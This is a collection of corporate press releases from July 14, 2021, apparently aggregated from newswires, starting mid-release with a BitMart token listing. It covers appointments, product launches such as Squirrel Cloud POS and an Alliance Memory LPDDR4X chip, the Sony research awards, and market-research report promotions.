BitMart Exchange is a premier global digital assets trading platform with over 5.5 million users worldwide and ranked among the top crypto exchanges on CoinGecko. BitMart currently offers 500+ trading pairs with one of the lowest trading fees in the market. To learn more about BitMart, visit their website, follow their Twitter, or join their Telegram for more updated news and promotions. Download BitMart App to trade anytime, anywhere.

About OMT



The Official Mars Token is made to provide an interplanetary payment solution for a permanent settlement on Mars. Until the settlement is successful, OMT's goal is to increase the value for its community. To learn more about the Official Mars Token, please visit their website and join their Telegram.

Contact:



Cindy Zhang



Marketing Manager

BitMart Exchange

cindy.zhang@bitmart.com

https://www.bitmart.com
[July 14, 2021] Securian Financial's Matthew King Elected NIPA President

Securian Financial's Matthew King has been elected president of the National Institute of Pension Administrators (NIPA) board of directors, effective July 1. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20210714005175/en/ Matt King, national TPA relationships director, Securian Financial (Photo: Business Wire). An industry veteran with more than 20 years of retirement plan experience, King is the national TPA relationship director for Securian Financial's retirement solutions division. Based in West Hartford, Conn., he is responsible for driving the company's TPA strategy and developing a program where TPAs feel connected and know that Securian Financial is committed to the shared sccess of mutual customers.



King has served on NIPA's board of directors since 2016. NIPA's purpose is to advocate for and elevate the TPA profession, provide world-class education for their membership and be the voice for TPAs in the retirement plan market. "It's an honor to be elected NIPA president," said King. "I believe deeply that relationships are very important in the retirement plan space. My career in financial services has focused on relationships with TPAs and I absolutely love what I do. I will continue to remain committed to the TPA community for years to come, as will Securian Financial."

"Matt is a great advocate for the TPA community," said Steve Chappell, Securian Financial's national vice president of retirement plan sales. "TPAs are a crucial component of the retirement plan industry and we are excited for the opportunity to help support NIPA and their members." A history of retirement plan service excellence Securian Financial has been helping people save for retirement since 1930. Its platform features long-tenured retirement specialists, fiduciary-friendly fee levelization practices and extensive administrative outsourcing, most of which is offered at no additional cost. Securian Financial provides services to employer-sponsored retirement plans through group annuity products issued by Minnesota Life Insurance Company. ABOUT SECURIAN FINANCIAL At Securian Financial, we're here for family. And we're here because of it. We're guided by our purpose: helping customers build secure tomorrows. Since 1880, we've been building a uniquely diversified company that has outlasted economic ups and downs while staying true to our customers. We're committed to the markets we serve, providing insurance, investment and retirement solutions that give families the confidence to focus on what's truly valuable: banking memories with those who matter most. Securian Financial's qualified retirement plan products are offered through a group variable annuity contract issued by Minnesota Life Insurance Company. Securian Financial is the marketing name for Securian Financial Group, Inc. and subsidiaries. Minnesota Life Insurance Company is a subsidiary of Securian Financial Group, Inc. DOFU 07-2021 1712748 View source version on businesswire.com: https://www.businesswire.com/news/home/20210714005175/en/

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[July 14, 2021] 'Sony Research Award Program' Expands to India and further in Europe as it Enters its Sixth Year

NEW YORK, July 14, 2021 /PRNewswire/ -- Sony announced today that it is now accepting submissions for its Research Award Program, currently in its sixth year. The program provides funding for programs researching emerging and innovative technologies in collaboration with Sony's own research groups, and is open to universities in the U.S., Canada, 17 European countries (with 8 new additions)*, and, starting this year, India. "Since its inception in 2016, the Sony Research Awards have provided a tremendous opportunity both for researchers and for Sony itself," said Toru Katsumoto, Executive Deputy President and Chief Technology Officer, Sony Group Corporation. "This year's addition of India provides access to a sizable pool of amazing talent, and we are looking forward to the new relationships we can create in the coming year." The Sony Research Award Program is comprised of two awards  the Faculty Innovation Award and the Focused Research Award. Both awards are coordinated by Sony's R&D Center and may fall within three broad subject categories: Information Technology, Devices & Materials, and Life Sciences. The awards create new opportunities for faculty members to engage in cutting-edge research, leading to the introduction of breakthrough technologies. The Faculty Innovation Award grants up to $100,000 USD to principal investigators for one year, with the possibility of an extension, for research projects that fall more broadly within Sony's current research interests. This award will help Sony catalyze and expand the creation of new concepts by building on existing research through university artnerships.



The Focused Research Award provides support for up to $150,000 USD for one year, with the possibility of an extension, to conduct research more focused in the areas of Sony's immediate interest. Through close collaboration with Sony's own in-house research team, academic faculties can explore new and evolving research. "Sony Research Award Program and the collaboration with the Sony team have been incredibly rewarding for us," said Professor Mohit Gupta of the University of Wisconsin  Madison. "It has provided us with a rare opportunity to work together with industrial R&D. Throughout the project, the thoughtful discussions and advice from the Sony team has had a tremendous positive impact on our research; in particular the encouragement and the support for our endeavor to take our research "outside-the-lab" in the real world has been invaluable."

"It was a fantastic experience collaborating with Sony for the past three years through the Sony Research Award Program," said Professor Song Han of the Massachusetts Institute of Technology. "The leading AI research at Sony provides us with real-world problems to solve. Given that Sony powers many AI-capable edge devices, it is a great channel to expand the impact of our research to benefit human society." Proposals may be submitted by university principal investigators who may be assistant, associate, or full professors. Objectives, publication terms, and IP terms will be mutually agreed upon between the awarded institution and Sony. The deadline to submit applications is September 15, 2021 and award nominees will be notified around March 2022. For more information about the grants, as well as a list of previous award recipients, please visit https://www.sony.com/research-award-program. *European countries included in the Program (countries new for 2021 are bolded) are Austria, Belgium, Denmark, Finland, France, Germany, Ireland, Italy, Luxembourg, Netherlands, Norway, Poland, Portugal, Spain, Sweden, Switzerland, United Kingdom View original content:https://www.prnewswire.com/news-releases/sony-research-award-program-expands-to-india-and-further-in-europe-as-it-enters-its-sixth-year-301333834.html SOURCE Sony Corporation of America

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[July 14, 2021] SHRM Introduces 'SHRM 401(k) Solutions by Raymond James' Enabling Small Businesses to Relieve Burden of Offering 401(k)

With millions of Americans without access to a workplace retirement plan and many businesses struggling to offer their employees the benefits they deserve, SHRM (Society for Human Resource Management) today announced the availability of the SHRM 401(k) Solutions by Raymond James program. The benefit offers a "marketplace" for employers to shop for a retirement plan with better pricing and time savings, while potentially outsourcing significant liabilities, risks, and expertise to successfully manage a 401(k) plan. SHRM 401(k) Solutions by Raymond James comes on the heels of the passage of the SECURE Act and in the midst of discussions in Washington about the critical role that 401(k) plans will play in America's financial future. Passed in 2019, the SECURE Act acknowledges that many small to mid-sized organizations do not have access to the necessary resources to meet their employees' retirement needs. With this new program, employers can now offer workers high-quality, competitively priced investment options - the kind typically only available with large employers. HR professionals lack both the time and, in many cases, the prudent expertise to administer and manage the complexities of offering a 401(k). This solution simplifies the burdensome process. As plan sponsors, employers have an opportunity to outsource various fiduciary functions including the investment management, plan administration, record keeping and educational components of the plan.* "Today, HR professionals are focused on helping their business make it to the other side of this pandemic and are looking to identify forward-thinking ways to be there for employees holistically," said Nick Schacht, SHRM-SCP, SHRM chief global development officer. "We have employees coming out of one of the most challenging economic times of their lives -- eager to proactively save. Without that coveted retirement plan in place, workers are simply less likely to invest in their future." Schacht adds: "Every employer, regardless of size, should have the ability to offer a quality, affordable 401(k) plan. And every plan sponsor should be confident they are making sound decisions regarding the management of those plans. Now, employers don't have to do this alone. SHRM 401(k) Solutions by Raymond James works side by side with employers, strengthening retirement plan administration and supporting the financial wellness of millions of employes and their families."



"Three in four workers are looking for more resources to help them with their overall financial wellbeing1. We also know defined contribution plans such as 401(k) plans are a primary savings vehicle for working Americans to provide retirement income in the future," said Scott Curtis, president of Raymond James' Private Client Group. "Small businesses need an efficient and cost effective option to offer these important savings vehicles for their employees, and we're proud to be able to extend our 401(k) solutions offering to interested SHRM-affiliated employers." The new benefit also offers a complimentary benchmarking report where employers can assess their current plan fees, have service providers compete for their business, and identify where they can upgrade quality and service while potentially reducing costs.

To learn more, visit shrm.org/401k. *Subject to applicable agreements About SHRM SHRM, the Society for Human Resource Management, creates better workplaces where employers and employees thrive together. As the voice of all things work, workers and the workplace, SHRM is the foremost expert, convener and thought leader on issues impacting today's evolving workplaces. With 300,000+ HR and business executive members in 165 countries, SHRM impacts the lives of more than 115 million workers and families globally. Learn more at SHRM.org and on Twitter (News - Alert) @SHRM. About Raymond James Financial, Inc. Raymond James Financial, Inc. (NYSE: RJF) is a leading diversified financial services company providing private client group, retirement planning, capital markets, asset management, banking and other services to individuals, corporations and municipalities. The company has approximately 8,300 financial advisors. Total client assets are $1.15 trillion. Public since 1983, the firm is listed on the New York Stock Exchange under the symbol RJF. Additional information is available at www.raymondjames.com. Services rendered will be dependent on applicable agreements. 1 Source (News - Alert) : Franklin Templeton's "Voice of the American Worker" survey Securities offered through Raymond James Financial Services, Inc., member FINRA/SIPC or Raymond James & Associates, Inc., member NYSE/SIPC each a broker-dealer registered with the Securities and Exchange Commission ( SEC (News - Alert) ). Investment advisory services offered through Raymond James Financial Services Advisors, Inc. or Raymond James & Associates, Inc. each an investment adviser registered with the SEC. Raymond James is not affiliated with SHRM. The following links contain information about their companies (ADV PART 2A) and how we work with them (Solicitor Disclosure) and should be read carefully. IFS Form ADV 2A

Solicitor Disclosure View source version on businesswire.com: https://www.businesswire.com/news/home/20210714005687/en/

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[July 14, 2021] LeafLabs Enables Satellite Launch

CAMBRIDGE, Mass., July 14, 2021 (GLOBE NEWSWIRE) -- LeafLabs, an engineering consulting firm focused on solving the worlds most complex problems, today announced the culmination of a year-long project to build software for Mandrake II and Laser Interconnect Networking Communications System, (LINCS) and the Prototype On-orbit Experimental Testbed (POET) payload, the Space Development Agencys (SDA) satellite mission that launched into space on June 30, from Cape Canaveral Space Force Station, Fla.

The launch, supported by SpaceXs Transporter 2, an all-rideshare Falcon 9 mission, carried aboard SDAs first two sets of experimental satellites, designed and built by organizations including LeafLabs, to gather data on optical communication terminal (OCT) performance in low-Earth orbit. Optical links between space, air, and ground assets offer significantly higher data rates and lower latency when compared to conventional radio frequency links, and demonstrate a pathway of getting real-time data for critical operations. LeafLabs was integral to the development of POET, the satellite operating system, an built other utilities for secure and reliable software upgrades in flight, and components that will facilitate communication both in flight and on the ground. Additionally, LeafLabs provided debugging reliability and overall performance support for the project.



I am so proud of the LeafLabs team that was instrumental is getting a satellite into space, said Andrew Meyer, company founder and CEO. As a company, our commitment to clients is to solve complex problems that save time and money. This launch is another example of the ways in which we are delivering on our promise. About LeafLabs

LeafLabs is dedicated to helping solve the most complex problems in science and technology. The company provides strategy, engineering and product development to some of the leading organizations in the world including Airbus, FAANG companies, Google, Motorola and the Space Development Agency. Its neurosciences team works with DARPA and the NIH on grant funded research. The company is based in Cambridge, Mass. For more information visit www.leaflabs.com

Media Contact:

Traci Massaro for LeafLabs

TAMPublicrelations@gmail.com

617-877-1293 Business Contact:

Josh Collins

Josh@leaflabs.com

610-304-0183



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[July 14, 2021]

Alliance Memory 8Gb LPDDR4X SDRAM Offers ~50% Reduction in Power Consumption Compared to LPDDR4 Devices

KIRKLAND, Wash., July 14, 2021 (GLOBE NEWSWIRE) -- Alliance Memory today announced that it has expanded its offering of high-speed CMOS mobile low-power SDRAMs with a new LPDDR4X device featuring on-chip ECC. Offering an extension to the companys fourth-generation LPDDR4 SDRAMs, the 8Gb AS4C256M32MD4V-062BAN offers ~50% lower power ratings in the 200-ball FBGA package for higher power efficiency.



With low-voltage operation of 0.6V  compared to 1.1V for LPDDR4 SDRAMs  the device released today increases battery life in portable electronics for the consumer, commercial, and industrial markets, including smart phones, smart speakers, and other IoT devices utilizing AI and 5G technologies.

Providing increased efficiency for advanced audio and ultra-high-resolution video in embedded applications, the LPDDR4X SDRAM delivers fast clock speeds of 1.6GHz for extremely high transfer rates of 3.2Gbps. For automotive applications  including ADAS systems  the AEC-Q100-qualified devices operate over a temperature range of -40C to +105C.

The AS4C256M32MD4V-062BAN is organized as two channels per device, with individual channels consisting of eight banks of 16 bits. The component offers fully synchronous operation; programmable read and write burst lengths of 16,32, and on the fly; and selectable output drive strength. An on-chip temperature sensor controls the self-refresh rate.







Alliance Memorys LPDDR4X SDRAM provides a reliable drop-in, pin-for-pin-compatible replacement for numerous similar solutions in high-bandwidth, high-performance memory system applications  eliminating the need for costly redesigns and part requalification.

Samples and production quantities of the AS4C256M32MD4V-062BAN are available now, with lead times of 12 weeks.

About Alliance Memory Inc.

Alliance Memory is a worldwide provider of critical and hard-to-find memory ICs for the communications, computing, consumer electronics, medical, automotive, and industrial markets. The companys product range includes flash, DRAM, and SRAM memory ICs with commercial, industrial, and automotive operating temperature ranges and densities from 64Kb to 8Gb. Privately held, Alliance Memory maintains headquarters in Kirkland, Washington, and regional offices in Europe, Asia, Canada, and South America. More information about Alliance Memory is available online at www.alliancememory.com.

Editor resources:

Link to product image:

https://www.flickr.com/photos/alliancememory/albums/72157719530418778

Link to detailed product info:

https://www.alliancememory.com/wp-content/uploads/email/NPA/NPA_210624.html

Agency Contact:

Bob Decker

Redpines

+1 415 409 0233

bob.decker@redpinesgroup.com
[July 14, 2021] Lowers Risk Group Launches Periculus, a Turn-Key Digital Risk and Insurance Platform for SMBs

PURCELLVILLE, Va., July 14, 2021 /PRNewswire/ -- International risk management company Lowers Risk Group (LRG) announced today the formation and launch of Periculus, a new company that will simplify the management of digital risk for small-to-medium sized businesses. Powered by Mastercard's CyberQuant, Periculus will simplify managing digital risk for small-to-medium sized businesses. Initially serving the sub-$100 million market, Periculus is LRG's first insurtech offering and provides subscribers access to quantitative, continuous risk assessments, insurance and service partner solutions, education, and a community of like-minded entrepreneurs requiring help with digital risk management. The Periculus ecosystem brings about a new way for businesses to acquire insurance and cyber services with an integrated offering that will allow business owners to gain the freedom to thrive in today's digital economy. "We recognize digital and cyber risk is a significant threat for small-business owners," said Mark Lowers, co-founder and CEO of Lowers Risk Group. "But the promise of the modern digital economy represents enormous opportunity for SMBs everywhere. Periculus  and insurtech specifically  is an important part of LRG's future and our continued commitment to protecting people, brands and profits." Periculs is led by CEO Tony Sibert, who most recently served as a Managing Director in Ernst & Young's cyber practice, COO Danielle Kaminski, who joins Periculus from Charles Taylor where she served as SVP of Commercial Operations and Acting General Counsel, and CRO Steven Schwartz, former VP of Strategy and Insurance for Cytegic (acquired by Mastercard in June 2020). Now rebranded as Mastercard's CyberQuant, this assessment tool is a key part of the Periculus risk analytics tech stack enabling both the insurance industry and business owners to understand and quantify their digital risk exposure.



"Our job is to make managing digital risk simple," Sibert said. "For over 30 years, I've helped public and private companies, early-stage ventures, and government organizations across the world manage risk, but my goal with Periculus is to help change the way cyber insurers, service providers and SMBs look at and approach digital risk management. We can  and we will  enable businesses to realize the amazing benefits of the digital economy while minimizing the risks this ecosystem creates." "During the pandemic, as many businesses and individuals became more digitally connected and dependent, we also became more aware and exposed to the vast array and widespread nature of cyber threats," Danielle said. "I am excited to work with Periculus to provide businesses with a digital risk platform to protect their brands, people, and profits from these risks."

"Having been deeply immersed at the intersection of insurtech and digital risk management, what excited me most about Periculus is the opportunity to empower both enterprises and SMBs to make sense of digital risk through our industry-first, integrated solution," Schwartz said. "Robust and affordable cyber insurance and security solutions have always been out of reach, complex and costly for SMBs. Periculus is solving this problem by creating a more inclusive ecosystem with transparency and access to the appropriate digital risk solutions needed to protect businesses. Our integrated, dynamic offering and embedded distribution opportunities are a game changer for both Main Street and Wall Street." Periculus is currently offering interested SMBs the opportunity to understand their cyber risk posture and its potential financial impact from CyberQuant, while reviewing their uniquely tailored cyber insurance and cyber security services. In parallel, Periculus is collaborating non-insurance distribution channels with a turn-key solution to embed and offer the Periculus solution to their customers. Additional digital risk management, analytics and distribution will be announced in the coming weeks. For more, visit www.periculus.com. About Periculus

Periculus makes managing digital risk simple. Its integrated platform offers access to purchase powerful cyber insurance and cyber security solutions uniquely tailored to fit the needs of every business, including risk assessments, security services, insurance partners, policies, services, insights, and education. On the other side of the risks that arise from the connected world, there's opportunity to grow and thrive. Periculus unlocks those possibilities by taking risk off the worry list. Don't get knocked off course. Rise Above Risk! Media Contact

Bryan Munson

Director, Marketing

bmunson@periculus.com

540-546-2126





View original content to download multimedia:https://www.prnewswire.com/news-releases/lowers-risk-group-launches-periculus-a-turn-key-digital-risk-and-insurance-platform-for-smbs-301333899.html SOURCE Periculus

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[July 14, 2021] BPO Business Analytics Market Featuring Accenture Plc, Capgemini SE, and Cognizant Technology Solutions Corp. | Technavio

NEW YORK, July 14, 2021 /PRNewswire/ -- The "BPO business analytics market segmented by End-user (BFSI, Retail, Healthcare, Manufacturing, and Others) and Geography (North America, APAC, Europe, MEA, and South America) - Forecast and Analysis 2021-2025" has been added to Technavio's offering. Do you know the BPO business analytics market size is expected to reach a value of $ 18.88 bn during 2021-2025? Understand the driving forces behind BPO Business Analytics Market and target Potential Customers Here. Fetch Free Sample Report! With the gradual recovery of markets from the aftermath of the COVID-19 pandemic, the Data Processing & Outsourced Services industry is likely to witness a mixed impact during the forecast period. Companies across the globe are focusing on creating a Resilient Business Model in the Face of COVID-19. Vendors are continuing their ongoing operations while building resilient business models as the path to recovery from the pandemic is being carved out. The recovery process involves various phases including: Addressing Potential Impacts by Facilitating changes in Process Designs

Focusing on agile execution of proposed and approved changes.

Conceptualize scenario-based planning to mitigate future crisis situations. Retrieve Actionable Data Points to Make Critical Business Decisions Key Considerations for Market Forecast: Impact of lockdowns, supply chain disruptions, demand destruction, and change in customer behavior

Optimistic, probable, and pessimistic scenarios for all markets as the impact of pandemic unfolds

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Quarterly impact analysis and updates on market estimates Get Access to On-demand, Syndicated Extensive Research Reports using Technavio's Subscription Platform

Technavio's SUBSCRIPTION platform Reports that might interest you: Global Business Process Outsourcng Market - Global business process outsourcing market is segmented by end-user (IT and telecommunication, BFSI, retail, healthcare, and others) and geography (North America, Europe, APAC, MEA, and South America).





Download Exclusive Free Sample Report Call Center Outsourcing Market in Europe - Call center outsourcing market in Europe is segmented by end-user (IT and telecom, BFSI, healthcare, retail, and others) and geography (UK, Germany, France, The Netherlands, and Rest of Europe).

Download Exclusive Free Sample Report

Key Market Participants Analysis Accenture Plc

The company offers BPO Business Analytics services such as Insurance, Banking, Supply Chain. Capgemini SE

The company offers BPO Business Analytics services such as Working Capital Analytics, Customer Analytics, and Marketing Analytics, Social Media Analytics, and Spend Analytics. Cognizant Technology Solutions Corp.

The company offers BPO Business Analytics solutions such as IPA solutions and RPA solutions. If you purchase a report that is updated in the next 60 days, we will send you the new edition and data extract FREE! Get the report snapshot here for a detailed market share analysis of market participants during COVID-19 lockdown:

https://www.technavio.com/report/bpo-business-analytics-market-industry-analysis BPO Business Analytics Market 2021-2025: Segmentation Bpo business analytics market is segmented as below: End-user

BFSI



Retail



Healthcare



Manufacturing



Others

Geography

North America



APAC



Europe



MEA



South America The BPO business analytics market is driven by the generation of high volume of data. In addition, the evolution of cloud-based BPO services and the increased adoption of SaaS-based analytics are expected to trigger the BPO business analytics market toward witnessing a CAGR of almost 16% during the forecast period. Unlock the BPO Business Analytics Market Report Statistics through Our Sample Report- https://www.technavio.com/talk-to-us?report=IRTNTR44257 Market Drivers

Market Challenges

Market Trends

Vendor Landscape Vendors covered

Vendor classification

Market positioning of vendors

Competitive scenario About Us

Technavio is a leading global technology research and advisory company. Their research and analysis focuses on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios. Contact

Technavio Research

Jesse Maida

Media & Marketing Executive

US: +1 844 364 1100

UK: +44 203 893 3200

Email: media@technavio.com

Website: www.technavio.com/

Report: www.technavio.com/report/bpo-business-analytics-market-industry-analysis

Newsroom: newsroom.technavio.com/news/top-drivers-for-bpo-business-analyticsmarket View original content to download multimedia:https://www.prnewswire.com/news-releases/bpo-business-analytics-market-featuring-accenture-plc-capgemini-se-and-cognizant-technology-solutions-corp--technavio-301333582.html SOURCE Technavio

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[July 14, 2021] Inspira Health Appoints Robin A. Walton as Vice President of Government and External Affairs

Inspira Health today announced the appointment of Robin A. Walton to vice president of Government and External Affairs, effective August 30. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20210714005742/en/ Robin A. Walton, Vice President of Government and External Affairs (Photo: Business Wire) In this role, Walton will forge collaborative relationships on behalf of Inspira with local, regional, and state political representatives and government officials. She will also represent Inspira as a member on associations where public policy and advocacy are key goals, and counsel Inspira leaders on health care bills and legislation. "With Robin's experience in government and community relations, paired with her expert understanding of the health care field, she will be a valuable asset to Inspira as we implement our new strategic plan," said Amy Mansue, president & CEO of Inspira Health. "We welcome her to the Inspira family." "I am grateful for this opportunity. I'm excited to join the Inspira team in their quest to fulfill the organization's mission and vision to the community," said Walton. "I look forward to joining this dynamic organization as it expands to urther support the residents of South Jersey."



Walton has more than a decade of experience in government and community relations in higher education, health care and library services. Since 2013, she has served as the vice president for Community and Government Affairs at Thomas Edison University, where she has worked for over 16 years. Earlier in her career, Walton served as confidential assistant to the Chief of Staff and Senior Policy Advisor to the Commissioner at the New Jersey Department of Health and Senior Services. She also coordinated community, local, and state affairs for Capital Health.

Walton earned her Bachelor of Arts in Political Science from Rutgers, The State University of New Jersey and her Master of Science in Management degree from Thomas Edison State University. Walton was also a 2015 Harvard Kennedy School Emerging Leader Program participant and a 2018 graduate of the Public Affairs Council's Institute. Walton serves as Secretary of the Board of Directors for the Chamber of Commerce of Southern New Jersey and on the Board of Trustees for RWJBarnabas Hamilton and Rowan College at Burlington County. Previously, Walton served on the Board of Trustees for the New Jersey Hospital Association and the Children's Specialized Hospital. She served three terms as an appointed public university task force representative for the National Task Force for Higher Education Government Relations. Walton was also appointed by the New Jersey Senate to the Governor's Advisory Council on Adolescent Pregnancy Prevention and to the Governor's Multiple Sclerosis (MS) Task Force. Walton received the Trailblazer Award from the National Council of 100 Black Women Southern NJ Chapter and was a recipient for the Marvin "Swede" Johnson Achievement Award for Higher Education Government Relations. From NJ BIZ magazine, she was honored as one of the Top 50 Women in Business in New Jersey and as one of the Top 40 Under 40. About Inspira Health Inspira Health is a charitable nonprofit health care organization and a regional leader in physician training, with approximately 200 medical residents and fellows in 13 nationally accredited programs at its hospitals in Vineland, Mullica Hill and Elmer. This number will grow to more than 250 by 2023 as the newest programs reach their capacity. The system, which traces its roots to 1899, comprises three hospitals, two comprehensive cancer centers, several multi-specialty health centers and a total of more than 150 access points. These include urgent care; outpatient imaging and rehabilitation; sleep medicine labs; cardiac testing facilities; digestive health and wound care centers; home care and hospice; and more than 35 primary and specialty physician practices in Gloucester, Cumberland, Salem, Camden and Atlantic counties. Together with its medical staff of more than 1,300 physicians and other care providers, as well as more than 6,200 employees, Inspira Health provides evidence-based care to help each patient achieve the best possible outcome. Accredited by DNV Healthcare, the system's clinical and support staffs are focused on providing quality care in a safe environment. For more information about Inspira Health, visit www.InspiraHealthNetwork.org or call 1-800-INSPIRA. View source version on businesswire.com: https://www.businesswire.com/news/home/20210714005742/en/

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[July 14, 2021] SHI International Wins Multiple Microsoft Awards, Demonstrating Innovation in Modern End User Computing Solutions

SHI International, one of the world's largest technology solutions providers, was recognized at the Microsoft (News - Alert) Inspire event this week, receiving two prestigious Microsoft partner awards: Microsoft Surface Hub Reseller of the Year and 2021 Microsoft US (MSUS) Partner Award in Modern Endpoint Management. The two awards acknowledge the leading role SHI has played in helping organizations across North America and beyond to adapt to hybrid working models and supporting remote employees. This work is continuing as more organizations now consider their strategies for return-to-office and additional Microsoft technologies that are available to support future working models. "SHI has demonstrated an unwavering commitment to supporting Microsoft technologies for nearly 30 years," says Thai Lee, President and CEO of SHI International. "Increasingly, an important part of SHI's value is our ability to take Microsoft technologies and add transformational capabilities such as zero touch deployment, implementation, training and managed services that enable Microsoft customers to recognize the full value of their investments." The Microsoft Partner of the Year Awards recognize Microsoft partners that have developed and delivered outstanding Microsoft-based soutions during the past year. Awards were classified in various categories, with honorees chosen from a set of more than 4,400 submitted nominations from more than 100 countries worldwide. SHI International was recognized for providing outstanding solutions and services across the globe.



"I am honored to announce the winners and finalists of the 2021 Microsoft Partner of the Year Awards," said Rodney Clark, corporate vice president, Global Partner Solutions, Channel Sales and Channel Chief, Microsoft. "These remarkable partners have displayed a deep commitment to building world-class solutions for customers-from cloud-to-edge-and represent some of the best and brightest our ecosystem has to offer." The 2021 award winners will be recognized at Microsoft Inspire, this year's digital partner conference.

ABOUT SHI SHI International Corp. is a transformational technology solutions provider serving the needs of more than 15,000 corporate, enterprise, public sector and academic customer organizations around the world. It helps companies achieve business goals through the use of technologies ranging from software licensing and end user computing devices to innovative cloud and edge solutions. With over 5,000 employees worldwide, SHI is the largest Minority and Woman Owned Business Enterprise (MWBE) in the U.S. Press Resources:

SHI Corporate Website: http://www.SHI.com

SHI Blog: http://blog.SHI.com

SHI Twitter (News - Alert) Handle: @SHI_Intl View source version on businesswire.com: https://www.businesswire.com/news/home/20210714005749/en/

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[July 14, 2021] Squirrel Systems announces public availability of Squirrel Cloud POS Independent Restaurant Edition

Squirrel Cloud POS Independent Restaurant edition enables independent restauranteurs to streamline operations and transform the guest experience from table to curb. VANCOUVER, BC, July 14, 2021 /CNW/ - Squirrel Systems, a leading technology provider to the hospitality industry, announced the first publicly available edition of the Squirrel Cloud POS. This edition of Squirrel's next-generation cloud-based point of sale system is purpose-built for independent counter service, casual dining and table service operators who want to streamline operations and modernize their guest experience. This first edition will deliver a seamless guest experience from table to curb by consolidating online ordering, takeout, 3rd party delivery, or curbside-pickup at the point-of-sale. Squirrel Cloud POS is born from Squirrel's expertise in delivering enterprise point-of-sale solutions to some of the industry's most recognized hospitality environments. In contrast to all-in-one, consumer-grade tablet POS systems, Squirrel Cloud POS will give operators the widest choice of hardware and software partners in the industry to suit their unique brand and needs. Customers have the freedom to run their POS on proven hospitality-grade Squirrel terminals, or their choice of iOS, Android or Windows tablets. Built on an open architecture, Squirrel Cloud POS will let operators leverage best-of-breed restaurant technology partners for online ordering, 3rd party delivery, payments, kitchen automation and more. Squirrel has worked with its Early Access customers and partners over the last eighteen months to adapt to changingguest expectations and demand for off-premise dining to deliver an exceptional experience both inside and outside the restaurant. Squirrel Cloud POS lets servers send orders directly from the table or patio, allowing them to spend more time with guests and lower the number of staff needed. In addition, integration with online ordering and delivery marketplaces helps restauranteurs reach new customers through phone, takeout, online ordering, curbside pickup, and delivery channels. Restaurants can use Squirrel Cloud POS to seamlessly feed orders from their branded online ordering website, or 3rd party delivery apps straight to the kitchen, reducing the overhead of manual re-entry and managing multiple menus.



"Squirrel is a leading provider of POS solutions for enterprise hospitality environments. Our goal with the Squirrel Cloud POS Independent Restaurant Edition was to create an easy to use and easy to deploy POS platform that brings enterprise grade infrastructure and flexibility to independent restaurants." said Jason Leeson, President of Squirrel Systems. "Bringing a new point-of-sale platform to market during the pandemic has been a monumental accomplishment for our team. We sincerely thank our Early Access customers and partners that helped shape the Squirrel Cloud POS over the last eighteen months." The Squirrel Cloud POS is designed to be easy to use and easy to deploy. The front of house Squirrel Cloud POS App is available on the IOS App Store, Google Play and the Microsoft Store. It is easy for servers to learn and use either at the counter or tableside, and easy for managers to monitor daily and weekly performance from their mobile device of choice.

The Squirrel Cloud POS is designed to bring enterprise capability and performance to all restaurants. It delivers the core point-of-sale engine via the same Microsoft Azure cloud infrastructure trusted by 95% of the Top Fortune 500 companies. Squirrel Cloud POS frees owners from the complexity and cost of managing servers in the restaurant. They can trust the Squirrel Cloud POS to be running 24x7 and automatically scale for them during peak periods. Squirrel Cloud POS Independent Restaurant Edition is now available at an introductory price of $57.50 USD/per month for the first device and $20 USD per device thereafter. To learn more about Squirrel Cloud POS and the benefits of the Squirrel Platform, visit www.squirrelsystems.com/squirrel-cloud About Squirrel Systems

Squirrel Systems is a leading provider of point of sale solutions focused exclusively on the Hospitality market. Squirrel revolutionized the industry with the first touchscreen restaurant POS system and continues to introduce market-leading innovations to help shape the industry. Visit www.squirrelsystems.com/squirrel-story to learn why Squirrel only works with food and beverage operators to enable amazing guest experiences from table to curb. View original content to download multimedia:https://www.prnewswire.com/news-releases/squirrel-systems-announces-public-availability-of-squirrel-cloud-pos-independent-restaurant-edition-301333271.html SOURCE Squirrel Systems

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[July 14, 2021]

Post COVID-19 HR Consulting Services Market Procurement Research Report | SpendEdge

NEW YORK, July 14, 2021 /PRNewswire/ --

The report identifies KPMG International Cooperative, Deloitte Touche Tohmatsu Ltd., Ernst & Young Global Ltd., McKinsey & Co., Boston Consulting Group Inc. among the top most important suppliers for HR Consulting Services procurement. Suppliers have a high bargaining power in a market which is set to grow at 1.46%. Therefore the price of HR Consulting Services will increase by 2.0%-4.0% during the forecast period.

Security Software Procurement report explains key category management objectives that should form the base for sourcing strategy, including:

Top-line growth

Scalability of inputs

Green initiatives

Category innovations

Supply base rationalization

Demand forecasting and governance

Minimalization of ad hoc purchases

Adherence to regulatory nuances

Cost savings

Customer retention

Reduction of TCO

Supply assurance

Sign Up for a Sample Security Software Procurement Market Report: www.spendedge.com/report/hr-consulting-services--sourcing-and-procurement-intelligence-report

Leading global suppliers can assist buyers in realizing high-cost savings through their efforts on areas such as vertical integration, supplier synergies, reducing total ownership cost, conference participation, negotiate on pricing and contractual terms, manage ad hoc spend, adoption of automation, quality management, and managing inventory shrinkage.

Related Reports on Professional Services Include:

Catering - Forecast and Analysis : This report offers key advisory and intelligence to help buyers identify and shortlist the most suitable suppliers for their catering requirements. Some of the leading catering suppliers are profiled extensively in this report.

This report offers key advisory and intelligence to help buyers identify and shortlist the most suitable suppliers for their catering requirements. Some of the leading catering suppliers are profiled extensively in this report. Legal Services Sourcing and Procurement Report : The legal services will grow at a CAGR of 2.91% during 2021-2025 . This report evaluates suppliers based on compliance with inland and overseas, specialized knowledge, technical abilities, and proven track record.

The legal services will grow at a . This report evaluates suppliers based on compliance with inland and overseas, specialized knowledge, technical abilities, and proven track record. Integrated Facility Management - Sourcing and Procurement Intelligence Report: The integrated facility management will grow at a CAGR of 8.58% during 2021-2025. Prices will increase by 2.25%-3.25% during the forecast period and suppliers will have a moderate bargaining power in this market.







Table of Content

Executive Summary

Market Insights

Category Pricing Insights

Cost-saving Opportunities

Best Practices

Category Ecosystem

Category Management Strategy

Category Management Enablers

Suppliers Selection

Suppliers under Coverage

US Market Insights

Category scope

About SpendEdge:

